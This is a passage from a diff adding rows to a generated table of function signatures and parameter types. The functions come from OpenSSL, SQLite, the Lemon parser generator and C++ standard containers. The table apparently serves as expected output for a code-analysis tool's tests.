| PKCS12_pack_p7encdata_ex | 2 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 3 | unsigned char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 4 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 5 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 6 | stack_st_PKCS12_SAFEBAG * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 7 | OSSL_LIB_CTX * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 8 | const char * | +| (int,const regex_t *,char *,size_t) | | jim_regerror | 0 | int | +| (int,const regex_t *,char *,size_t) | | jim_regerror | 1 | const regex_t * | +| (int,const regex_t *,char *,size_t) | | jim_regerror | 2 | char * | +| (int,const regex_t *,char *,size_t) | | jim_regerror | 3 | size_t | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 0 | int | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 1 | const unsigned char * | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 2 | int | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 3 | const unsigned char * | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 4 | int | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 5 | DSA * | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 0 | int | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 1 | const unsigned char * | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 2 | int | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 3 | const unsigned char * | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 4 | int | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 5 | EC_KEY * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 0 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 1 | const unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 2 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 3 | unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 4 | unsigned int * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 5 | DSA * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 0 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 1 | const unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 2 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 3 | unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 4 | unsigned int * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 5 | DSA * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 6 | unsigned int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 7 | const char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 8 | OSSL_LIB_CTX * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 9 | const char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 0 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 1 | const unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 2 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 3 | unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 4 | unsigned int * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 5 | const BIGNUM * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 6 | const BIGNUM * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 7 | EC_KEY * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 0 | int | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 1 | const unsigned char * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 2 | unsigned int | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 3 | unsigned char * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 4 | size_t * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 5 | const unsigned char * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 6 | size_t | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 7 | RSA * | +| (int,int *,int *,int) | | sqlite3_status | 0 | int | +| (int,int *,int *,int) | | sqlite3_status | 1 | int * | +| (int,int *,int *,int) | | sqlite3_status | 2 | int * | +| (int,int *,int *,int) | | sqlite3_status | 3 | int | +| (int,int) | | BN_security_bits | 0 | int | +| (int,int) | | BN_security_bits | 1 | int | +| (int,int) | | EVP_MD_meth_new | 0 | int | +| (int,int) | | EVP_MD_meth_new | 1 | int | +| (int,int) | | EVP_PKEY_meth_new | 0 | int | +| (int,int) | | EVP_PKEY_meth_new | 1 | int | +| (int,int) | | acttab_alloc | 0 | int | +| (int,int) | | acttab_alloc | 1 | int | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 0 | int | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 1 | int | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 2 | TLS_GROUP_INFO * | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 3 | size_t | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 4 | long | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 5 | stack_st_OPENSSL_CSTRING * | +| (int,int,const char *) | | OSSL_CMP_STATUSINFO_new | 0 | int | +| (int,int,const char *) | | OSSL_CMP_STATUSINFO_new | 1 | int | +| (int,int,const char *) | | OSSL_CMP_STATUSINFO_new | 2 | const char * | +| (int,int,const char *,const char *) | | EVP_PKEY_asn1_new | 0 | int | +| (int,int,const char *,const char *) | | EVP_PKEY_asn1_new | 1 | int | +| (int,int,const char *,const char *) | | EVP_PKEY_asn1_new | 2 | const char * | +| (int,int,const char *,const char *) | | EVP_PKEY_asn1_new | 3 | const char * | +| (int,int,const char *,va_list) | | ERR_vset_error | 0 | int | +| (int,int,const char *,va_list) | | ERR_vset_error | 1 | int | +| (int,int,const char *,va_list) | | ERR_vset_error | 2 | const char * | +| (int,int,const char *,va_list) | | ERR_vset_error | 3 | va_list | +| (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 0 | int | +| (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 1 | int | +| (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 2 | const unsigned char * | +| (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 3 | int | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 0 | int | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 1 | int | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 2 | const unsigned char * | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 3 | int | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 4 | OSSL_LIB_CTX * | +| (int,int,int *) | | ssl_set_version_bound | 0 | int | +| (int,int,int *) | | ssl_set_version_bound | 1 | int | +| (int,int,int *) | | ssl_set_version_bound | 2 | int * | +| (int,int,int) | | ASN1_object_size | 0 | int | +| (int,int,int) | | ASN1_object_size | 1 | int | +| (int,int,int) | | ASN1_object_size | 2 | int | +| (int,int,int) | | EVP_CIPHER_meth_new | 0 | int | +| (int,int,int) | | EVP_CIPHER_meth_new | 1 | int | +| (int,int,int) | | EVP_CIPHER_meth_new | 2 | int | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 0 | int | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 1 | int | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 2 | int | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 3 | const void * | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 4 | size_t | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 5 | SSL * | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 6 | void * | +| (int,int,size_t,size_t) | | ossl_rand_pool_new | 0 | int | +| (int,int,size_t,size_t) | | ossl_rand_pool_new | 1 | int | +| (int,int,size_t,size_t) | | ossl_rand_pool_new | 2 | size_t | +| (int,int,size_t,size_t) | | ossl_rand_pool_new | 3 | size_t | +| (int,int,void *) | | X509V3_EXT_i2d | 0 | int | +| (int,int,void *) | | X509V3_EXT_i2d | 1 | int | +| (int,int,void *) | | X509V3_EXT_i2d | 2 | void * | +| (int,int,void *) | | X509_ATTRIBUTE_create | 0 | int | +| (int,int,void *) | | X509_ATTRIBUTE_create | 1 | int | +| (int,int,void *) | | X509_ATTRIBUTE_create | 2 | void * | +| (int,int,void *) | | ossl_X509_ALGOR_from_nid | 0 | int | +| (int,int,void *) | | ossl_X509_ALGOR_from_nid | 1 | int | +| (int,int,void *) | | ossl_X509_ALGOR_from_nid | 2 | void * | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 0 | int | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 1 | long | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 2 | void * | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 3 | CRYPTO_EX_new * | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 4 | CRYPTO_EX_dup * | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 5 | CRYPTO_EX_free * | +| (int,size_t) | | ossl_calculate_comp_expansion | 0 | int | +| (int,size_t) | | ossl_calculate_comp_expansion | 1 | size_t | +| (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 0 | int | +| (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 1 | sqlite3_int64 * | +| (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 2 | sqlite3_int64 * | +| (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 3 | int | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 0 | int | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 1 | unsigned char * | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 2 | int | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 3 | const char * | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 4 | const char * | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 0 | int | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 1 | unsigned char * | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 2 | int | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 3 | int * | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 4 | unsigned long * | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 5 | ..(*)(..) | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 6 | void * | +| (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 0 | int | +| (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 1 | unsigned long | +| (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 2 | ..(*)(..) | +| (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 3 | void * | +| (int,va_list) | | ERR_add_error_vdata | 0 | int | +| (int,va_list) | | ERR_add_error_vdata | 1 | va_list | +| (int,void *) | | OSSL_STORE_INFO_new | 0 | int | +| (int,void *) | | OSSL_STORE_INFO_new | 1 | void * | +| (int,void *) | | sqlite3_randomness | 0 | int | +| (int,void *) | | sqlite3_randomness | 1 | void * | +| (int_dhx942_dh **,const unsigned char **,long) | | d2i_int_dhx | 0 | int_dhx942_dh ** | +| (int_dhx942_dh **,const unsigned char **,long) | | d2i_int_dhx | 1 | const unsigned char ** | +| (int_dhx942_dh **,const unsigned char **,long) | | d2i_int_dhx | 2 | long | +| (lemon *) | | ResortStates | 0 | lemon * | +| (lemon *) | | getstate | 0 | lemon * | +| (lemon *,action *) | | compute_action | 0 | lemon * | +| (lemon *,action *) | | compute_action | 1 | action * | +| (lemon *,const char *) | | file_makename | 0 | lemon * | +| (lemon *,const char *) | | file_makename | 1 | const char * | +| (lemon *,const char *,const char *) | | file_open | 0 | lemon * | +| (lemon *,const char *,const char *) | | file_open | 1 | const char * | +| (lemon *,const char *,const char *) | | file_open | 2 | const char * | +| (lhash_st_CONF_VALUE *,BIO *,long *) | | CONF_load_bio | 0 | lhash_st_CONF_VALUE * | +| (lhash_st_CONF_VALUE *,BIO *,long *) | | CONF_load_bio | 1 | BIO * | +| (lhash_st_CONF_VALUE *,BIO *,long *) | | CONF_load_bio | 2 | long * | +| (lhash_st_CONF_VALUE *,FILE *,long *) | | CONF_load_fp | 0 | lhash_st_CONF_VALUE * | +| (lhash_st_CONF_VALUE *,FILE *,long *) | | CONF_load_fp | 1 | FILE * | +| (lhash_st_CONF_VALUE *,FILE *,long *) | | CONF_load_fp | 2 | long * | +| (lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *) | | X509V3_EXT_conf_nid | 0 | lhash_st_CONF_VALUE * | +| (lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *) | | X509V3_EXT_conf_nid | 1 | X509V3_CTX * | +| (lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *) | | X509V3_EXT_conf_nid | 2 | int | +| (lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *) | | X509V3_EXT_conf_nid | 3 | const char * | +| (lhash_st_CONF_VALUE *,const char *,long *) | | CONF_load | 0 | lhash_st_CONF_VALUE * | +| (lhash_st_CONF_VALUE *,const char *,long *) | | CONF_load | 1 | const char * | +| (lhash_st_CONF_VALUE *,const char *,long *) | | CONF_load | 2 | long * | | (list &&) | list | list | 0 | list && | | (list &&,const Allocator &) | list | list | 0 | list && | | (list &&,const Allocator &) | list | list | 1 | const class:1 & | +| (piterator *) | | pqueue_next | 0 | piterator * | +| (plink *) | | Plink_delete | 0 | plink * | +| (plink **,config *) | | Plink_add | 0 | plink ** | +| (plink **,config *) | | Plink_add | 1 | config * | +| (plink **,plink *) | | Plink_copy | 0 | plink ** | +| (plink **,plink *) | | Plink_copy | 1 | plink * | +| (pqueue *) | | pqueue_iterator | 0 | pqueue * | +| (pqueue *) | | pqueue_peek | 0 | pqueue * | +| (pqueue *) | | pqueue_pop | 0 | pqueue * | +| (pqueue *,pitem *) | | pqueue_insert | 0 | pqueue * | +| (pqueue *,pitem *) | | pqueue_insert | 1 | pitem * | +| (pqueue *,unsigned char *) | | pqueue_find | 0 | pqueue * | +| (pqueue *,unsigned char *) | | pqueue_find | 1 | unsigned char * | +| (regex_t *,const char *,int) | | jim_regcomp | 0 | regex_t * | +| (regex_t *,const char *,int) | | jim_regcomp | 1 | const char * | +| (regex_t *,const char *,int) | | jim_regcomp | 2 | int | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 0 | regex_t * | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 1 | const char * | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 2 | size_t | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 3 | regmatch_t[] | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 4 | int | +| (rule *,int) | | Configlist_add | 0 | rule * | +| (rule *,int) | | Configlist_add | 1 | int | +| (rule *,int) | | Configlist_addbasis | 0 | rule * | +| (rule *,int) | | Configlist_addbasis | 1 | int | +| (size_t *,const char *) | | next_protos_parse | 0 | size_t * | +| (size_t *,const char *) | | next_protos_parse | 1 | const char * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 0 | size_t * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 1 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 2 | unsigned char * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 3 | unsigned char ** | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 4 | int * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 5 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 6 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 7 | OSSL_LIB_CTX * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 0 | size_t * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 1 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 2 | unsigned char * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 3 | unsigned char ** | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 4 | int * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 5 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 6 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 7 | int | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *) | | tls1_cbc_remove_padding_and_mac | 8 | OSSL_LIB_CTX * | +| (size_t) | | EVP_PKEY_meth_get0 | 0 | size_t | +| (size_t) | | ossl_get_extension_type | 0 | size_t | +| (size_t) | | ossl_param_bytes_to_blocks | 0 | size_t | +| (size_t) | | ossl_quic_sstream_new | 0 | size_t | +| (size_t) | | ssl_cert_new | 0 | size_t | +| (size_t) | | test_get_argument | 0 | size_t | +| (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 0 | size_t | +| (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 1 | OSSL_QTX_IOVEC * | +| (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | size_t | +| (size_t,SSL_CTX *) | | ssl_cert_lookup_by_idx | 0 | size_t | +| (size_t,SSL_CTX *) | | ssl_cert_lookup_by_idx | 1 | SSL_CTX * | +| (size_t,const QUIC_PKT_HDR *) | | ossl_quic_wire_get_encoded_pkt_hdr_len | 0 | size_t | +| (size_t,const QUIC_PKT_HDR *) | | ossl_quic_wire_get_encoded_pkt_hdr_len | 1 | const QUIC_PKT_HDR * | +| (size_t,const char **,size_t *) | | conf_ssl_get | 0 | size_t | +| (size_t,const char **,size_t *) | | conf_ssl_get | 1 | const char ** | +| (size_t,const char **,size_t *) | | conf_ssl_get | 2 | size_t * | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 0 | size_t | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 1 | size_t | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 2 | void ** | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 3 | const char * | +| (size_t,size_t,void **,const char *,int) | | CRYPTO_aligned_alloc | 4 | int | | (size_type,const T &) | deque | assign | 0 | size_type | | (size_type,const T &) | deque | assign | 1 | const class:0 & | | (size_type,const T &) | forward_list | assign | 0 | size_type | @@ -874,12 +27097,1469 @@ getSignatureParameterName | (size_type,const T &,const Allocator &) | vector | vector | 0 | size_type | | (size_type,const T &,const Allocator &) | vector | vector | 1 | const class:0 & | | (size_type,const T &,const Allocator &) | vector | vector | 2 | const class:1 & | +| (sqlite3 *) | | close_db | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3CompletionVtabInit | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_changes | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_changes64 | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_close | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_db_mutex | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_errcode | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_errmsg | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_errmsg16 | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_error_offset | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_extended_errcode | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_get_autocommit | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_last_insert_rowid | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_str_new | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_system_errno | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_total_changes | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_total_changes64 | 0 | sqlite3 * | +| (sqlite3 *) | | sqlite3_vtab_on_conflict | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_busy_handler | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_busy_handler | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_busy_handler | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_commit_hook | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_commit_hook | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_commit_hook | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_profile | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_profile | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_profile | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_rollback_hook | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_rollback_hook | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_rollback_hook | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_set_authorizer | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_set_authorizer | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_set_authorizer | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_trace | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_trace | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_trace | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_update_hook | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_update_hook | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_update_hook | 2 | void * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_wal_hook | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_wal_hook | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *) | | sqlite3_wal_hook | 2 | void * | +| (sqlite3 *,..(*)(..),void *,..(*)(..)) | | sqlite3_autovacuum_pages | 0 | sqlite3 * | +| (sqlite3 *,..(*)(..),void *,..(*)(..)) | | sqlite3_autovacuum_pages | 1 | ..(*)(..) | +| (sqlite3 *,..(*)(..),void *,..(*)(..)) | | sqlite3_autovacuum_pages | 2 | void * | +| (sqlite3 *,..(*)(..),void *,..(*)(..)) | | sqlite3_autovacuum_pages | 3 | ..(*)(..) | +| (sqlite3 *,char **) | | sqlite3_expert_new | 0 | sqlite3 * | +| (sqlite3 *,char **) | | sqlite3_expert_new | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base64_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base64_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base64_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base85_init | 0 | sqlite3 * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base85_init | 1 | char ** | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_base85_init | 2 | const sqlite3_api_routines * | +| (sqlite3 *,char **,const sqlite3_api_routines *) | | sqlite3_completion_init | 0 